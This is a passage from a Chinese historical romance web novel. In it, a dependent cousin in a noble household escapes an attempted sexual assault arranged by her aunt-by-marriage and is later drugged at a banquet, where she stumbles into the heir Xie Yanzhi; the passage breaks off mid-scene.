刚才她家小姐差点撞上大公子,还以为又要被责罚呢。 没想到大公子就这样走过去,什么都没有说,也什么都没有做。 这时又听见谢宴之道:“跟上!” 声音颇具威严,不容人反抗。 元青说:“爷,我在后边呢。” 谢宴之看了他一眼,神情写满了不悦。 元青瞬间明白了,爷这是在请后面的清姑娘跟上呢。 元青的眼珠转了转,恍然大悟! 难道……原来爷说的不要就是要! 然后菱儿就看见元青笑呵呵地向她招手,使眼色,示意她们二人跟上来。 菱儿觉得莫名其妙,跟元青互换了几个眼神,也不知道大公子这是要干啥。 沈清念虽不知道是为什么,但也只能抱着梅花跟上去,因着不想与谢宴之靠近,便故意走得慢吞吞。 距离越来越远,谢宴之闻不到那气味,心中不满起来,转身看过去, 见沈清念迈着极小的步子,好像极不情愿的样子皱了皱眉。 她不是想攀高枝儿吗? 怎么给了机会不珍惜? 看着沈清念,他一下子清醒过来,他怎么会去贪恋她身上的味道!这种有心机的女子他从来都是看不上的。 他竟还鬼使神差地要她跟上来! 这个沈清念果然不简单,太会迷惑人心了,连他都差一点落入她的手中。 还好他及时清醒了过来。 谢宴之冷哼一声,一甩袖子,抬脚就走了,留下后面几人面面相觑。 元青挠了挠了头,别说清姑娘她们了,就连他这个贴身仆从都被自家爷这番言行弄得摸不着头脑。 一会儿莫名让人家跟上来,一会儿又莫名拂袖而去。 爷这脾气真是越来越让人捉摸不透了呀。 元青朝沈清念拱手行礼后赶紧朝谢宴之的方向追去。 沈清念淡淡看着谢宴之离开,她早就料到他是那种喜怒无常之人,根本不需要谁触怒他。 她原本走慢些,离他远点,省得又误会她勾引他。 谁知今日这世子竟是闲得发慌,又来找她的麻烦。 还是要找条活路,早日出府得好,每次遇见他都没好事。 菱儿看着元青的身影,心里不免对元青产生了一股同情,她看了看自己小姐后感叹了一句:元青的主子太难伺候了。 夜色渐浓。 空中的雪花又簌簌飘落下来,谢宴之开心地跑着,想要接住这些小雪花。 忽然脚下一滑,一下子摔倒在地上,疼得眼泪在眼眶里打转。 他的母亲杨氏一把将他抱到怀里道:“宴哥儿,让母亲看看哪里摔着了?” 谢宴之委委屈屈地缩在母亲的怀里,他只想,谁料积雪那样滑。 听着母亲温柔地唱着童谣: 月光光,照窗台。 玉兔捣药桂花开。 小娃娃,快乖乖…… 他歪在母亲怀里,闻着好闻的味道,就要睡着时,母亲不念童谣了。 他抬起头看看母亲,母亲的脸竟然变成了沈清念的脸! 她跟母亲一样,温柔地拍着他。 谢宴之一下从梦中惊醒,额头上满是汗。 他这是怎么了 怎会梦到那个女人! 三日后,仆从来报。陆二爷来了。 谢宴之在正堂见着陆二爷时,陆二爷正斜倚在梨花木椅上,捻起茶盖,慢悠悠刮着杯底的残叶,玄色的锦袍上绣着暗纹猛虎伴随着他的动作忽隐忽现。 见着谢宴之,陆二爷脸上堆着笑,站起来道:“世子!” 谢宴之走到椅子边坐下,元青上前为他倒了后,立在了一边。 谢宴之拧着眉道:“不知陆二爷今日到府,有何贵干?” 陆二爷看了看谢宴之的神情,知道谢宴之不待见他。他早听说过这个侯府世子人中龙凤,办起案来手段狠辣,不近人情。 今日一见,果然是一副拒人千里之外的姿态。 但他务必要过来探探谢宴之的口风。 岭南的山匪决不能和广德侯府有牵连。 陆二爷笑了笑道:“世子此次查岭南山匪之事有功,我特来给世子道贺。” “多谢陆二爷了。” 陆二爷见谢宴之不冷不热的态度,知他不耐烦,便道:“我听说岭南的案子与我广德侯府有些关联,我广德侯府与靖南侯府也算世交了,应当了解我府上不可能与山匪有何联系。” “实在对不住,案情不方便透露。”谢宴之说道。 陆二爷见谢宴之不欲多说,只好意味深长地说了一句:“今日是特意来跟世子说一声。莫要被别有用心之人蒙骗了。” 谢宴之冷笑道:“不劳二爷费心。我只相信罪证。” 陆二爷看着谢宴之完全不给他面子,心里暗骂:一个乳臭未干的小子,连他的面子也不给。 他倒要看看,这个谢世子能春风得意多久! 陆二爷就冷着脸,哼了一声告辞了。 待陆二爷走到月洞门时,见一个丫头叫住了他:“二爷,我家二夫人请二爷过去喝杯茶。” 陆二爷眼珠转了转,想到前些日子王管事回来,跟禀报过一件事。 说是靖南侯府的二夫人林氏为他准备了一个十分难得一见的美人儿。想必,今日便是要带他去见美人儿了吧。 想到这儿,陆二爷心里的火气就好了些。 由丫头引着路往后院方向走去…… 第十三章一件随手送人的物件儿 这日一早,沈清念刚梳洗完,绵竹便过来说:“表小姐,夫人让您过去一趟,说是有事要与您说。” 沈清念想着是有几日未去给二夫人请安了,便要带着菱儿一起过去。 但绵竹拦住了她道:“表小姐,二夫人只叫您一个人过去,应是有什么要紧事不想除您之外的人知道。” 沈清念想着能有什么事只能与她说? 她想起前几日林氏给她买珠花和衣裳,脸上的神色便是一顿。 心下一思量,她给了菱儿一个眼神,便跟着绵竹走了。 菱儿懂得小姐的意思,悄悄跟在身后。 但绵竹并没有带她到二夫人的院子,而是来了这间偏房。 沈清念觉得不对,正欲转头走掉,就见林氏从屋子里走了出来,喊住她:“清念,快来。” 沈清念硬着头皮过去,对着林氏福了福身:“二夫人。” 林氏道:“今日叫你来,是有件事想让你帮我办。” “何事需要清念帮忙?” 沈清念心下了然,这世间没有白得的好处,能早日还了就还了吧。 林氏便将沈清念带进了屋子,交代她在书案边抄写佛经。 这头另一个丫头正带着陆二爷从一条偏僻的小路回到了院子。 林氏得了消息,早在院门口候着了。 她见着陆二爷过来,忙盈盈地迎上去:“二爷,快请进。” 说着又给了陆二爷一个眼神,陆二爷心领神会,跟着林氏往里走。 “人呢?”陆二爷迫不及待地想看看那位美人长什么模样。 林氏捏着帕子,抿着嘴笑了笑,掀开了里屋的帘子。 陆二爷往里面看去,只见屋子里的人低着头坐在案边。 眉眼像是被江南烟雨细细晕染过一样,细眉弯弯,如远山含黛,带着几分羞怯。几缕碎发顺着颈侧垂落,随着她提笔写字的动作轻轻摇晃着,娴静而美好,又像一束临水而照的玉兰,干净又温柔,让人不敢惊扰。 陆二爷看得呆了呆,恍然如觉得见了神女。 的确是难得一见的绝色,京城这么多贵女,竟也比不上她。 林氏在一旁看着陆二爷的神情,心里也多了一分把握。 陆二爷迫不及待要掀了帘子进去,林氏拦住他的手道:“二爷,不可。” 陆二爷一听,眉头一皱,语气不悦道:“有何不可?” 这不就是为他准备的美人儿吗? 林氏笑着道:“二爷有所不知,这清念到底也是我侯府的表小姐,从小也是学得琴棋书画的闺秀之礼,比外面那些女子必要矜持一些。” 见陆二爷脸色有所好转,林氏又继续说道:“二爷冒然进到屋子里面,怕惊扰了她倒是其次,主要怕损了二爷您的风度不是?” “这个年纪的女子都喜欢风度翩翩的君子,二爷只需在这儿上座,我去叫她出来一见便是了。” 陆二爷也觉得沈清念气质清新,不是那屋子里那些庸脂俗粉可比的。况且自古淑女都爱君子,那他也做一回君子。 这般美貌的女子,他确实也舍得对她花心思。 陆二爷往旁边的椅子一坐,对林氏摆摆手:“去吧。” 林氏掀开屋子,见沈清念对外面的事情还毫无察觉,十分满意。 只见她走过去道:“清念,今日有贵客来访,你随我去见见,切莫失了礼仪和分寸。” 沈清念虽然感觉奇怪,倒也跟着林氏出去了。 只见堂上坐着一位身着玄色锦袍的中年人男人,腰间的羊脂古玉佩昭示着此人显贵的身份。 林氏为何让她来见这个人? 正出神之际,林氏拉着她来到了陆二爷面前,对沈清念说道:“清念,这是广德侯府的陆二爷。” 沈清念施施然向陆二爷行了礼:“陆二爷。” 没有听到回应,沈清念抬头看了看,见那陆二爷细长眼盯着她,眼神里的神色让人十分不舒服。 她今日就觉得有些心神不宁的,如今见着了面前的人,还有什么不明白的。 原来是这样。 陆二爷见沈清念袅袅娜娜地朝她走过来,衣裙飘飘,当真是比画上的仙女儿还要美上几分。 行礼时低垂着眉眼,处处透着温柔。 林氏见陆二爷失了神,咳了一声道:“二爷?” 陆二爷回过神来:“清念姑娘,快坐。” 沈清念准备往旁边坐,林氏拉着她坐到了陆二爷边上的椅子坐下:“清念,就坐这儿,二爷有话要与你说。” 她说着还拍了拍沈清念的肩膀。 “早就听说姑娘的美貌非常,今日一见,果然如此。” “二夫人果然没有欺骗我。” 沈清念心下一惊,看着林氏和陆二爷的二人,她越发确信了心中的猜想。 今日莫不是这林氏要将自己送给陆二爷? 但她知道自己现在不能慌乱,她镇定道:“二爷谬赞,,清念也不过是寻常姿色。” 陆二爷道:“清念姑娘,实不相瞒,陆某对姑娘你一见倾心,想要你入我广德侯府。” “陆二爷……”沈清念立即就要拒绝,陆二爷当即打断了她。 “清念姑娘,虽然我已有十一房妾室,但陆某保证,姑娘入府,绝不会让姑娘受委屈。”说着,便解下腰间额羊脂玉佩放到桌上,继续说道:“这玉佩可低万金,今日给姑娘当做聘礼。” 林氏看着那羊脂古玉,眼里流露出一丝嫉妒。 这陆二爷对沈清念倒是大方的很,那么好的羊脂玉就给了她。 不过又一想,沈清念又见过什么好东西,这东西给她让她明白一些富贵也好。 陆二爷也觉得沈清念一个乡下来的穷丫头,眼皮子浅,看见这玉佩,应当高兴得很了吧。 谁料沈清念站起身来说道:“谢陆二爷好意,清念身份低微,恐高攀了广德侯府。” 陆二爷还以为沈清念是在担心她身份低微,配不上自己,笑了笑安慰道:“无妨,你的出生是低了些,但又不要你做正妻,我到时候许你个贵妾,你以后就吃穿不愁了,也不用这样寄人篱下了。” “另外,我明日还会让人送足十八抬聘礼来。保证姑娘风风光光地入我侯府!” 陆二爷说完,意味深长地看着沈清念。 想他之前那些妾,可没有这样的对待。 他是给足了沈清念风光的!这小妮子还不得对他感恩戴德,赶紧对自己投怀送抱? 林氏也在一旁帮腔道:“清念,你看陆二爷多有诚意,你能给二爷当贵妾,那可是大造化啊,还不快多谢二爷。” 沈清念拧着眉看了林氏一眼,她真是被这些人气到了。 先是谢宴之以为她要攀高枝儿,现在是这个陆二爷以为她上赶着要去给他做贵妾! 还有这个林氏,拿她当什么了,一件随手送人的物件儿? 沈清念往后退了两步,冷着脸道:“陆二爷,我的意思是我并不想成为您的贵妾!” “我也不知今日会在此遇到您。今日的事情如果有什么误会,您与二夫人说便是,我先退下了。” 沈清念的意思就是今日的事情都是林氏做的,陆二爷如果要怪罪的话,就去怪罪林氏,她从没有过这些念头。 林氏眼见沈清念要走,狠狠抓住了她的胳膊,对陆二爷道:“二爷,既然这贱蹄子敬酒不吃,就只能吃罚酒了。” 林氏想着既然沈清念已经知道了这件事,就不能让她这样走掉。 一是怕她出去告发,让侯府的人都知道她做的勾当。二是若今日没成事,下次沈清念定然有了防备心。三嘛,陆二爷必定会迁怒与她。到时别说是敏儿的亲事没了着落,还有可能被这件事牵连,影响了亲事。 想定,她便对着陆二爷道:“二爷,今日决不能让她走!” 陆二爷也是气急败坏。没想到这个沈清念这么不识趣儿,给脸不要脸! 他陆二爷要什么样的女人没有,这个女人竟敢拂了他的面,让他颜面无存! 他陆二爷看上的女人还没有得不到的。 沈清念又是难得一见的美人,今日无论如何他都要得到她! 便冲上去给了沈清念一个耳光,怒气冲冲地说道:“你这个贱人不要给脸不要脸!你这种身份能入了本爷的脸是你的造化,今日不论你愿不愿,都得从了我!” 说着便扯着沈清念往里屋拽。 林氏见状,阴毒地笑了笑,退出了屋子…… 第十四章 保证让她乖乖的 林氏出来以后,绵竹赶忙上前对林氏道:“夫人,表小姐的丫鬟还在那边守着,会不会坏事?” 刚刚她引陆二爷过来时,瞧见了菱儿,故意绕了道才没让菱儿发现。 林氏凑到绵竹耳边说了两句,绵竹点点头。 菱儿正在边上等着小姐,这么久了,屋子里也没动静。 小姐会不会有事?她急得在那边走来走去。 一转身就见绵竹朝她走了过来,她怕被发现了。 怕被绵竹看到,不就被她发现自己在后面偷偷跟着她们了吗? 菱儿看了看,想要往树后面躲,就听见绵竹在喊她:“菱儿妹妹,你怎么在这儿?” “你不会是在这儿等表小姐吧?” 菱儿点点头道:“绵竹姐姐,我家小姐还在里面吗?” 绵竹拉着她边走边道:“表小姐离开有一会儿了,你没看见吗?赶快回浅月居看看去。” “啊?都回去了?我一直在这儿,没有瞧见啊。”菱儿说道。 见菱儿不信,绵竹又说:“表小姐是从后门出去的,走,我领你看看去。” 说着,菱儿就跟着去了。 二人走后,林氏从树后出来,对着菱儿的背影道:“这主仆两个都是个蠢的。” 这会儿也没听到屋子里的动静,怕是事情已经成了。 这样,等这沈清念成了残花败柳,还怕她会出去到处说吗?这样想着,林氏就在远处的凉亭里等着。等会儿还得送陆二爷出去呢。 沈清念被陆二爷一把摔到床上,背摔得生疼,眼泪在眼眶里打转。 陆二爷见到这副美人落泪的样子,更加兴奋了。他迫不及待地要解着自己的腰封,望着床上脸色发白的沈清念道:“清念姑娘,别怕,等会儿你欲仙欲死了,就知道我陆某人的好了。” 沈清念十分害怕,她完全没有料到林氏竟然就在靖南侯府里将她送给了别人。 但她知道现在最要紧的是保住自己的清白。 硬碰硬定是行不通的。 那边,陆二爷解开了腰封,便扑上来扯沈清念的衣服。 沈清念红着眼眶看着陆二爷道:“二爷,我想明白了。我愿意服侍您。刚才是我错了。” 陆二爷看着沈清念我见犹怜的模样,又听见她说的话,也就停止了动作。摸着沈清念的下巴,得意地说道:“早这样不就好了吗,爷不至于打你,打在你脸上,爷可心疼了。来,让爷心疼心疼。”说着便要亲下去。 沈清念用手挡住了陆二爷的嘴,略带羞涩道:“二爷起来,我帮二爷更衣吧。” 陆二爷看着沈清念那副羞涩的模样,只觉得血往上涌,但他还是温柔些吧,免得吓坏了眼前的人儿。 陆二爷起了身,站在边上,张开双手等着沈清念更衣。 沈清念赶紧爬了起来,绕到陆二爷身后,顺手拿起桌上的瓷瓶狠狠地砸了上去。 “啊!”陆二爷毫无防备地被砸倒在地上,沈清念拔腿就往屋外跑去,陆二爷也起来去追,但他头疼得厉害,刚刚追到院子外,就走不动了。 林氏听见屋子里传来花瓶碎裂的声音,想着这陆二爷下手还真是没个轻重。 忽然就见沈清念从屋子里跑出来,一下子就没影儿了。 后面又看到陆二爷扶在门口。林氏心想:“坏了,这陆二爷一个大男人怎么没控制住这么小贱蹄子呢?” 她快步走过去道:“陆二爷!您没事吧?”,说着便将陆二爷扶着,进了屋子里,掀开帘子一瞧,只见屋子里瓷瓶碎片散在地上。 陆二爷坐在梨花椅子上,十分不悦道:“你不是说那就是一个乡下来的贱丫头吗?” “你不是说这事儿容易成吗?” “你是怎么安排的?”因为太过生气,陆二爷又疼得捂住了头。 林氏吓得连连道歉:“二爷,我也没想到这个沈清念如此烈性。” 她也被沈清念平时那乖巧温婉的模样给骗了。 不仅不温婉,还会伤人了。 这下惹怒了陆二爷,敏儿的婚事也要没着落了。 陆二爷看了看手上,有一些血,怒气冲天道:“林氏!今日之事你打算如何解决?” “那个贱人将我伤成这样就算了?” “要是今日你不想法子把那贱人抓回来,我看你女儿也不用嫁旁人了,直接给我做妾吧。” 林氏一听,忙道:“二爷,您放心,我一定想法子将她送到您手上。” 虽然她之前也知道陆二爷为人狠辣,与他合作,无异于与虎谋皮。 但为了女儿的婚事,只有这个法子。 况且事情已经做到这个地步,也没有回头的余地。 这陆二爷竟然用敏儿威胁她,一定要想个法子将那沈清念弄回来。 不然事情闹大了,她和敏儿就完了。 她脑中一转,心下很快有了主意,脸上又是轻松的一笑。 陆二爷见林氏不回答,重重喊了一声:“林氏!不给我沈清念,就等着你女儿谢敏给我做妾吧。” 林氏笑道:“二爷,您放心,雪日宴那天,我将沈清念带过去。” “保管她听话。” 说着,又喊来绵竹为陆二爷包扎后,悄悄从后门将人送了出去。 沈清念逃出来以后,没看见菱儿,她只好挑隐蔽的小路回浅月居。 而沈清念不知道的是,在她从那间屋子跑出来的时候,正好被谢宴之看见。 手下的人早就来报,陆二爷今日出侯府偷偷摸摸的,去了二房的一间偏房。 谢宴之刚过来,就见沈清念衣衫不整地从院子里跑出来,慌慌张张的,一副害怕被别人看见的样子。 后面又看见了陆二爷扶在门口,衣衫不整。 谢宴之眯着眼睛,看着沈清念的背影,脸色沉了沉。 又嘲讽一笑。 = 菱儿回了浅月居,却还是没见着小姐的影子,她坐在浅月居门口,泪眼盈盈地埋在膝盖上哭。 怎么办?她把小姐弄丢了。 正伤心,就见小姐用披风把自己包裹得严严实实进了院子。 “小姐!你终于回来了!”菱儿摸了眼泪,赶紧站起来将小姐迎到屋子里。 第十五章 回来什么,她回不来了…… 沈清念脸色发白,手指颤抖着解开披风,露出了里面车扯开衣带的长裙。 “小姐……!”菱儿捂着嘴,眼泪就要溢出眼眶。 都怪她没有保护好小姐! 沈清念现在才觉着心里一阵后怕,这样寻常的一天,就可能毁了她的一生。 林氏的突然示好本就不寻常,她也是知道的。可她没想到林氏竟然直接在这侯府里就想让人毁了她清白。 这是沈清念从没想到过的,她以为林氏再不喜她,大不了将她撵出去。怎么会想到这么恶毒的法子。 偏她还不能向别人告发林氏的所作所为。 这种事说出去谁会相信她?无凭无据!还有那个陆二爷,是广德侯府的,她也惹不起,说出去别人也只会认为是她勾引的。 想到这儿,沈清念觉着自己十分无力,她扑在枕头上小声地啜泣。 菱儿也在一旁陪着小姐哭。她能做什么?她一个小丫头什么也做不了! 她只能骂,骂那林氏心眼子黑! 沈清念哭了一小会儿,又坐了起来。 她忽然想到,如今是与林氏撕破脸皮了,林氏定不会放过她,说不定还会再将她送给别人做人情。 还有那个陆二爷,今天被她砸了头,也不会放过她。 怎么办?姨母是指望不上的,她一个小妾,日子也过得艰难。若不是昭表哥傍身,林氏说不定也会将姨母磋磨得不成样。 怎么办?到底有什么法子能救自己? 菱儿见小姐皱着眉,小心地喊了一声:“小姐?” 沈清念看着菱儿哭肿的眼睛,拉过她的手:“没事,她们没得逞。” “只是往后咱们的日子有些难过了。” 菱儿又听沈清念说了事情的经过,想到自己小姐受的委屈,开口大骂:“那个二夫人当真是个黑心子的,她那个样子根本不配当侯府的夫人!街边的叫花子都比她心善!” 沈清念赶紧捂住了菱儿的嘴,这要叫外人听见菱儿在这无缘无故地骂侯府的二夫人,又得惹出什么麻烦? 沈清念看了看菱儿:“现在最要紧的是想法子断了二夫人将我送人的念头。” 菱儿想了想:“那我们去找姨娘,让她想法子保住小姐。” 沈清念摇了摇头:“不可,姨母恐怕也护不住我。” 不仅如此,她还隐约觉着姨母好似也有什么事瞒着她,或许跟林氏要做的大差不差。只是,这些她不能告诉菱儿,菱儿年纪小,什么都显露在脸上,容易被人看出来。 菱儿低下头,忽然眸子一亮:“那我们搬出侯府,不在这里给那二夫人糟践。” 这条路沈清念原本也想过。攒了钱,搬出侯府。 可现在钱还没攒到,根本不可能搬出去。 况且,出了侯府,她和菱儿两个都是女子,身边也没个男丁护着,出去了反而更危险。 男丁? 沈清念淡淡道:“眼下只有嫁人这一个法子了。” 菱儿睁大了眼睛:“嫁人?嫁给世子?”小姐嫁给了世子,当了世子妃,就没人敢欺负小姐了。 沈清念轻轻敲了敲菱儿的头:“我怎么会嫁给世子?”她早说过不会嫁他的。 “我要找一户简单的人家,要紧的是得远离京城,让人找不到我们。” 林氏现在已经盯上了她,这些事情她得小心谨慎,不可走漏了风声。 菱儿点点头:“可小姐,去哪里找人家呢?” 沈清念想了想:“总会有法子的。”她定要为自己找出一条活路来。 夜里,屋子里凉得很,沈清念喊了菱儿两声。菱儿揉揉眼睛从榻上起来:“小姐,怎么了?” 沈清念裹着被子:“今夜没有点炭火吗?屋子里有些冷。” 菱儿咬了咬嘴唇:“没有炭火了。” 晌午,沈清念在屋子里小憩的时候,两个婆子是送炭来了。 菱儿一看,送来的不是平时用的银霜炭,而是黑炭。 这种炭烧起来一大股青烟,呛人得很,还不经烧,十块黑炭都抵不过一块银霜炭。 菱儿皱了皱眉,上去问其中一个婆子:“今日怎么是黑炭,往常不都是银霜炭吗?” 那婆子撇撇嘴:“还真把自己当侯府的小姐啦?还想要银霜炭!” 菱儿一听火了:“你什么意思,我家小姐不是小姐,难道你才是小姐。” 那婆子听了,噗呲笑出声:“烧黑炭的小姐我可不当!” “二夫人吩咐了,以后这浅月居只送黑炭,半月一筐。” 菱儿急了,半月一筐黑炭怎么够,以往半月都是两筐银霜炭的。小姐和她只有夜里才点炭火,也才勉强够用。 “你们这是欺负人!” “不要我们就搬回去,我们下人房里还差一些呢。”说着这两婆子抬着炭就要走。 菱儿上前拦着,那两个婆子一下就将炭全倒在雪里,朝地上碎了一口:“呸!” 等菱儿把炭捡回来,黑炭都已经被雪水打湿,点不着了。 菱儿抽抽搭搭地哭起来:“小姐,都怪我!” 沈清念掏出帕子替菱儿擦了擦眼泪:“不怪你,这是二夫人的意思,怪我破坏了她的好事。” 今日克扣炭火,明日或许就要克扣吃食了。 “我如今已与二夫人撕破了脸皮,以后这样的事还有很多,下回别再像这样莽撞了。” 菱儿点点头,又替小姐搓了搓手,才回榻上睡去。 隔天,沈清念也称病,没去林氏的院子请安,林氏也没有找她的麻烦。日子又这样平静地过了几天。 这日,沈清念跟着苏姨娘在老夫人处问安。 沈清念得知老夫人时常头疼,夜里睡不好觉,便给老夫人做了一条合香珠。 沈清念恭敬地递上合香珠道:“老夫人,这串合香珠名为静心香,每日戴在身上,有镇定安神,助眠之妙用。” 老夫人笑着接过拿在手里瞧了瞧,这串珠子颗颗圆润饱满,细看之下,每颗珠子上雕刻有菩萨经文,足足有一百零八颗。 珠子又散发着她喜欢的沉香的香味,又混着些许檀香。 古朴的棕色让这串珠子充满了禅意。 老太太凑近闻了闻,像发现什么一样,惊喜道:“这珠子里还加了公丁香?” 沈清念点点头道:“我在这串静心香中加了沉香,檀香,公丁香还有酸枣仁和薰衣草。” 这些都是些名贵的药草香料。 “老夫人每日诵经之时,可用这串香珠代替佛珠,药味侵入身子,大有裨益。”沈清念又补了一句。 老夫人看了旁边的麽麽一眼,说道:“清丫头有如此心意,该赏。” 随后赏给了沈清念一只晴水玉镯。沈清念接过镯子看了一眼,料子不是很好,但通透无明显瑕疵。 估摸着也就有个三四两银子。 打赏她这种乡下人,确实够了。 沈清念连忙福了福身子道:“多谢老夫人。” 苏姨娘在一旁,看着沈清念立在那里乖巧的模样,心里十分满意。 沈清念眉眼间与姐姐苏婉云有些相似,每次见着,都有一种亲切之感。 在她的记忆里,姐姐也是这样一个温婉恬静,本本分分的女子。 这些年苏姨娘时常想起姐姐。 苏母去得早,姐姐像母亲一样关爱着她长大。 每每要做饭洗衣了,姐姐都自己一个人做,让她搬个小板凳坐在旁边玩耍。 当年姐姐若没有帮她逃走,现在定与自己的心上人住在自己的一方院子里,相夫教子,平静幸福。 哪轮得上那个姓沈的混蛋! 念儿真的是一个不错的女子,她也是真心喜欢沈清念,要是昭哥儿对念儿没有那个心思就再好不过了。 苏姨娘思忖间,老夫人看向林氏:“明日是雪日宴,把清丫头也带上吧。这丫头也及笄了,去看看能不能有门好亲事。” 林氏这几日正想着怎么把这个臭丫头带过去了,老夫人这一开口,正合她意,朝着老夫人点点头:“正好呢,我也想着带清念去,给敏儿做个伴。” 沈清念本就不想去,但她现在要赶紧找个人家嫁出去,整天关在这府中,哪里能见到人呢? 这也是老夫人亲自邀请,沈清念也不好拂了老夫人的意,便也点点头答应下来。 第二日,苏姨娘在府门前握住沈清念的手:“念儿,到了广德侯府万事要小心,莫失了礼。有瞧上的公子,回来跟姨母说说,姨母到时去求求老夫人。” 沈清念看着苏姨娘,乖巧地点点头:“嗯。” 看着沈清念上了马车,苏姨娘又叮嘱一句:“早点回来。” 林氏在一旁盯着那道身影,冷笑一声:回来什么,她回不来了…… 第十六章她只觉得自己的嘴唇碰到了一片柔软 马车缓缓地朝着广德侯府驶去。 谢敏看着沈清念坐在对面,身着普通的料子,头上还是那根银簪,低垂着眉,手上捏着秀帕,婉约娴静。 谢敏嘴巴一撇:等会儿有你好看的! 听母亲说这个沈清念那天竟将那陆二爷打伤了,坏了她的好事,能入广德侯府做妾是她的福分,她还敢拒绝! 一个穷乡下来的,不做妾,还能做什么! 马车到了广德侯府门前,侯府的管家将二人引进了里面,大堂里已经来了许多京城的贵女,看到谢敏来了,纷纷看向她旁边的沈清念。 有谢敏熟识的人问了一句:“敏姐姐,这位妹妹是谁,看着有些眼生。” 谢敏挑了挑眉,笑了笑:“这是来府里投奔姨娘的。” 原来是打秋风的穷亲戚。 投奔姨娘?那就是没有靠山的。 有几个贵女对着沈清念讥笑起来:“敏姐姐,你怎么带这样的人来与我们一起?” 谢敏慢悠悠地道:“我祖母让我带清念妹妹过来挑夫婿呢。” 话音才落,又惹得几位贵女不满。 这雪日宴也是男女相看的宴会,这人是来攀高枝儿来了。 贵女们瞧着沈清念那张脸,心里有了一丝危机,对她就越发不满。 沈清念冷冷看着谢敏,她倒是会给她惹麻烦。 沈清念缓缓开口:“只是老夫人垂怜,让我出来见见世面,倒是姐姐,刚在门口瞧了陆世子许久,不知陆世子可知你的心意呀?” 刚刚她们进门时,沈清念见谢敏盯着一个男子,眼里是藏不住的羞涩,后来沈清念又听见府上的丫头叫那人陆世子。原来谢敏爱慕这陆世子。 谢敏被沈清念说穿了心思,脸上有些挂不住。 况且,她虽是二房长女的身份,可自从父亲瘫了以后,没了官职,这些年一直靠大房的接济生活,自然就配不上陆世子了。 一个贵女又挑着眉嘲讽道:“世子也是你能觊觎的?” 谢敏的脸一阵红一阵白,拧着帕子恨恨地瞪了一眼沈清念。 好你个沈清念,看你能还能得意多久! 广德侯府办这次雪日宴,让工匠在王府里造了许多雪景,来的公子和小姐们便在园子里赏雪景。 沈清念一个人在园子里逛逛,她确实想看看有没有合适的人。谢敏已经不知道哪里去了,反正她也不想跟谢敏在一起。 她没有注意到有一双眼睛正盯着她。 沈清念逛了一会儿,想去前面的亭子里歇一会儿,后面传来一个女子的声音:“小姐,能不能帮帮我?” 沈清念回头,是一个身着粉衣的女子,挽着妇人头,头上戴一支简单的步摇,正扶着脚,看样子是崴了脚。 沈清念过去扶住她:“你崴到脚了?” 女子点点头,她试着动了一动脚,头上就疼出细细密密的汗。 “嘶……”女子皱紧眉头,转过来拉住沈清念:“雪天路滑,我不小心崴了脚,小姐可否扶我回我的院子?” 沈清念四下看了看,一个人也没有,她只好扶着女子往她说的院子走。 到了屋子,沈清念扶女子坐下后,想叫一个丫头去请大夫,可院子里一个人也没有。 “小姐不用找了,这院子里没别人了," "我就是一个不得主子宠的小妾,平日里就一个人在这院中,你可以叫我萍儿。” 沈清念一时不知说什么,萍儿才十五六岁的年纪,就已经失了宠爱,在这里自生自灭。 “看你的样子应该不是自愿的,那你想没想过逃走?” “没用的,逃妾被抓回来,是要被打死的。”萍儿摇摇头。 “那你这样怎么在这府里过活?” 萍儿忽然抬头笑了:“那便是……” 沈清念不知萍儿是什么意思,但她隐隐感觉自己眼前的一切模糊起来了。 萍儿见沈清念已经中药,笑着说:“那便是完成爷交代的差事了。” “你就是那个差事。” “在这乖乖等着,二爷一会儿就会来。” 沈清念撑着身子:“你是陆二爷的妾室,那你的脚……” “脚是我自己故意崴的,只要我帮二爷骗来了你,二爷就让我做贵妾,一只脚算什么。” 沈清念一笑:“那就好!” 确定萍儿的脚是真的受伤走不了路后,沈清念立刻冲出门去,一路跌跌撞撞的她觉得自己的意识越来越不清醒,身子也越来越燥热。 刚才她进那屋子就闻到一阵特别好闻的香味,应当是在那个时候就中了药。 她现在这个样子决不能不能被人看见。正走着,就见陆二爷带着人气势汹汹地往这个方向来了。 沈清念又转头向另一个方向去,沈清念再难坚持,眼看他们就要过来了,沈清念一把推开眼前的门,栽了进去。 想象的疼痛没有传来,反而栽到了一个宽阔的胸膛里。 沈清念抬眸,眼前却模模糊糊看不清人影,她隐约地知道是被一名男子抱住了。 谢宴之皱了皱眉,怎么是她? 沈清念无力地靠在他的怀里。沈清念努力地想要抬起头看看面前的男子是谁。 谢宴之伸出手捏住她的下巴,只看见沈清念,潮红色脸颊像熟透了的水蜜桃,一张小嘴儿隐隐的泛着水光。 “疼”沈清念不满地嘤咛一声,泪光盈盈地望着眼前的人。 谢宴之不自觉地滚了滚喉咙,放开了她。 感觉到眼前的人要往地上倒去,谢宴之又伸手揽住了沈清念的腰,那腰很细,盈盈一握,沈清念也顺势倒在了谢宴之怀里。 这时,门外传来陆二爷气急败坏的声音:“沈清念那个贱人中了药能跑到哪里去?” 谢宴之明显感觉到怀里的人在抖,头往他怀里缩得厉害。 沈清念虽不知抱着她的人是谁,但那人一直到现在都没有对她做出什么事,应当是个好人。 她不由地紧紧地贴住那个胸膛,希望能得到一丝保护,她的手也控制不住地捏紧在谢宴之的胸膛上。 谢宴之拧了拧眉,说了一声:“沈清念!” 听到这个声音,沈清念恢复了一些意识,这声音好熟悉,好像是……是谢宴之。 又听见谢宴之说了一句:“还不放手,你要抱着本世子抱到什么时候!” 沈清念一听,果然是谢宴之,可她中了药,浑身软绵绵的,自己根本没有力气站着。 她刚一推开谢宴之,身子就向一侧歪去,见状谢宴之鬼使神差地将人捞了过去。 沈清念也不知道发生了什么,只觉得自己的嘴唇碰到了一片柔软…… 第十七章 当时爷可是一副护得紧的样子 倒在谢宴之怀里的一瞬间,沈清念抬起头,刚好亲在谢宴之的唇上。 谢宴之浑身仿佛被电击中一般,只觉得身体里的血液都凝滞了一般。 那抹唇软软的,暖暖的,扑上来的一瞬一股香甜的气息扑面而来,好像有一颗甜果子摆在面前。谢宴之忍不住想要汲取更多,身体却直直僵在了原地。 就一瞬的功夫,沈清念就垂下了头,在药物的作用下,她的意识已经模糊到极限。身子再也立不住,从谢宴之的怀中往下掉。 唇上的温软消失,谢宴之清醒了过来,中药的是沈清念,又不是他!他居然被这个女人迷得失了神。 真是个妖精! 她现在是靖南侯府的表姑娘,他可以不管她,但他不能不顾及靖南侯府的颜面。 这样想着,谢宴之一把抱起沈清念,将她放到床上。 这个大胆的女人此刻正拉着他胸口的衣服,眼里满是水雾,谢宴之忍住心里的悸动,打掉了她的手。 “啊。”沈清念皱了皱眉。她又去解自己的衣裳。 